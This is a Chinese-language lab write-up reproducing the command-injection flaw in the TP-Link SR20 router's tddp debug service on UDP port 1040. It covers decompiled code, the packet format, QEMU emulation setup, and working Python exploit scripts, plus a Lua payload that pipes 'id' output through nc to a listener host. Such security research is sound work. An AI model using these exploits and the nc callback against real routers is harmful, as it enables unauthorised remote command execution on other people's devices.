前言
一个涉及到了通信协议的洞 还是比较有趣的 以此来顺便丰富一下对于协议洞的认知
固件下载地址: https://www.tp-link.com/us/support/download/sr20/#Firmware
漏洞分析
本质上是一个任意命令执行 不过传入的方式和以前复现过的不一样在于 是通过recvform接收到了对应端口传输的数据
找到官方报告中 漏洞位于的/usr/bin/tddp文件
是32位的arm架构
ida打开后没有找到main函数 通过start函数来索引到main函数
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // r3 int v4; // r0 int v6; // [sp+Ch] [bp-8h] int v7; // [sp+Ch] [bp-8h]
v6 = mem_calloc(argc, argv, envp); if ( v6 ) return v6; v4 = sub_936C(); v7 = delete_mem(v4); if ( v7 ) v3 = v7; else v3 = 0; return v3; }
|
主要有三个函数 首尾两个函数的作用我已经更改了函数名 就是简单的开辟空间和释放空间
重点跟进一下936c这个函数
int sub_936C() { _DWORD *v0; // r4 int optval; // [sp+Ch] [bp-B0h] BYREF int v3; // [sp+10h] [bp-ACh] BYREF struct timeval timeout; // [sp+14h] [bp-A8h] BYREF fd_set readfds; // [sp+1Ch] [bp-A0h] BYREF _DWORD *v6; // [sp+9Ch] [bp-20h] BYREF int v7; // [sp+A0h] [bp-1Ch] int nfds; // [sp+A4h] [bp-18h] fd_set *v9; // [sp+A8h] [bp-14h] unsigned int i; // [sp+ACh] [bp-10h]
v6 = 0; v3 = 1; optval = 1; printf("[%s():%d] tddp task start\n", "tddp_taskEntry", 151); if ( !sub_16ACC(&v6) && !sub_16E5C(v6 + 9) && !setsockopt(v6[9], 1, 2, &optval, 4u) && !sub_16D68(v6[9], 1040) // 绑定1040端口 && !setsockopt(v6[9], 1, 6, &v3, 4u) ) { v6[11] |= 2u; v6[11] |= 4u; v6[11] |= 8u; v6[11] |= 0x10u; v6[11] |= 0x20u; v6[11] |= 0x1000u; v6[11] |= 0x2000u; v6[11] |= 0x4000u; v6[11] |= 0x8000u; v6[12] = 60; v0 = v6; v0[13] = sub_9340(); // 获取时间 v9 = &readfds; for ( i = 0; i <= 0x1F; ++i ) v9->__fds_bits[i] = 0; nfds = v6[9] + 1; while ( 1 ) { do { timeout.tv_sec = 600; timeout.tv_usec = 0; readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F); v7 = select(nfds, &readfds, 0, 0, &timeout); if ( sub_9340() - v6[13] > v6[12] ) v6[8] = 0; } while ( v7 == -1 ); if ( !v7 ) break; if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 ) sub_16418(v6); } } sub_16E0C(v6[9]); sub_16C18(v6); return printf("[%s():%d] tddp task exit\n", "tddp_taskEntry", 219); }
|
用socket来实现通讯
sub_16D68函数中 绑定了1040端口
int __fastcall sub_16D68(int a1, uint16_t a2) { int v2; // r3 struct sockaddr s; // [sp+8h] [bp-14h] BYREF
memset(&s, 0, sizeof(s)); s.sa_family = 2; *&s.sa_data[2] = htonl(0); *s.sa_data = htons(a2); if ( bind(a1, &s, 0x10u) == -1 ) v2 = sub_13018(-10103, "failed to bind socket"); else v2 = 0; return v2; }
|
同时把主机字节序转化成了网络字节序 用来方便不同设备之间的统一通讯
随后会进入sub_16418函数
该函数旨在接收1040端口传输来的数据
这里注意一下数据包存放的缓冲区地址为 a1+45083 而v2作为一个指针指向该地址
对于v2进行了一个检测 如果为1则进入分支
这里涉及到了dttp这个协议 其为D-LINK所使用的一种简单的调试协议
分为v1和v2两个版本
版本号会放在数据包首地址来作为区分
随后还会有一个用来表示类型的字段
4:CMD_AUTO_TEST 6: CMD_CONFIG_MAC 7: CMD_CANCEL_TEST 8: CMD_REBOOT_FOR_TEST 0XA:CMD_GET_PROD_ID 0XC: CMD_SYS_INIT 0XD: CMD_CONFIG_PIN 0X30: CMD_FTEST_USB 0X31: CMD_FTEST_CONFIG
|
也就是我们在sub_15E74函数中所看到的
这里借用winmt师傅的图来方便理解包的形式
ver为版本号 type则为包的类型
本次的漏洞出现在0x31对应的类型中 我们找到对应的函数进行跟进
其以;进行了正则匹配 将两段字符串分别存储到s和v10中 随后进行了命令执行
那么这里仅仅过滤了一个;字符 我们也可以使用|和&来达到任意命令执行的目的
上述为第一种漏洞的利用途径 接下来还有一个通过lua脚本达到任意命令执行的洞
可以看到 s是由我们所控制的 其作为一个路径的一部分 用来指向一个lua脚本
并且如果这个lua脚本存在 就可以执行这个脚本
我们再来看一下原本要执行的指令
其为 tftp -gr xxxx host
host为宿主机与虚拟机通信的接口ip
我们只需要在宿主机启动tftp服务 随后篡改xxxx为正确的文件名 就可以实现任意脚本执行了
环境搭建
使用readelf可以得到是32位小端序的arm架构 这里使用armhf 不适用armel是因为其缺少硬件浮点数支持
搭建脚本:
#!/bin/bash
sudo tunctl -t tap1 -u root
sudo ifconfig tap1 192.168.6.2
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel ./armhf/vmlinuz-3.2.0-4-vexpress \
-initrd ./armhf/initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=./armhf/debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap1,script=no,downscript=no \
-nographic
|
我这里的硬盘映像文件虽然是直接从官网下的 但是不知道什么原因 在模拟的时候会提示说硬盘大小出现问题
所以这里按照描述更改映像文件为32G即可
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G
|
随后就可以成功启动模拟 进入后将eth0接口更改 使其与tap1位于同一c段
随后挂载两个文件夹并且设置squashfs-root为根目录
mount -o bind /dev ./squashfs-root/dev/ mount -t proc /proc/ ./squashfs-root/proc/ chroot ./squashfs-root/ sh
|
启动tddp程序
接着回到宿主机 这里如果直接nc 1040这个端口是无法连接的
我们需要借助nmap的udp扫描方式
可以看到这个端口是有过滤的
等下使用脚本复现的时候也要注意一下socket需要调整为UDP
随后在宿主机上安装tftp
随后需要进行两次配置
sudo vim /etc/xinetd.d/tftp
service tftp { socket_type = dgram protocol = udp wait = yes user = root server = /usr/sbin/in.tftpd server_args = -s /tftpboot -c 这个文件夹我试过放到用户目录下 最后失败了 disable = no per_source = 11 cps = 100 2 flags = IPv4 }
|
sudo vim /etc/default/atftpd
USE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 0 --retry-timeout 0 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
|
随后更改tftpboot文件夹的权限以及新增一个payload文件 用来执行命令
chmod 777 /tftpboot touch payload sudo vim payload
function config_test(config) os.execute("id|nc 192.168.6.2 6666") end
|
漏洞复现
在虚拟机启动tddp后 使用脚本
from socket import*
from sys import*
s = socket(AF_INET,SOCK_DGRAM)
s.connect(("192.168.6.3",1040))
payload = b"\x01\x31" #版本号和类型
payload = payload.ljust(12,b'\x00') #填充垃圾数据
payload += b"|touch a||;aaa"
s.sendall(payload)
|
随后我们前往/tmp目录 可以找到刚刚创建的a文件 成功进行了任意的命令执行
接着来尝试第二种方法
开启tddp服务以后 执行下列脚本 同时我们需要在宿主机上监听一下6666端口
from socket import*
from sys import*
s = socket(AF_INET,SOCK_DGRAM)
s.connect(("192.168.6.3",1040))
payload = b"\x01\x31" #版本号和类型
payload = payload.ljust(12,b'\x00') #填充垃圾数据
payload += b"/payload;aaa"
s.sendall(payload)
|
使其执行payload文件中的指令
随后就可以在6666端口中接收到了id的回显
总结
通过本次复现 第一次接触到了协议洞 相比常规的命令执行 协议洞需要先了解清楚协议的数据包构成 才能看懂代码逻辑
发掘漏洞的思路还是通过定位execve或者是system这类敏感函数 然后再朔源查看是否存在控制参数的可能性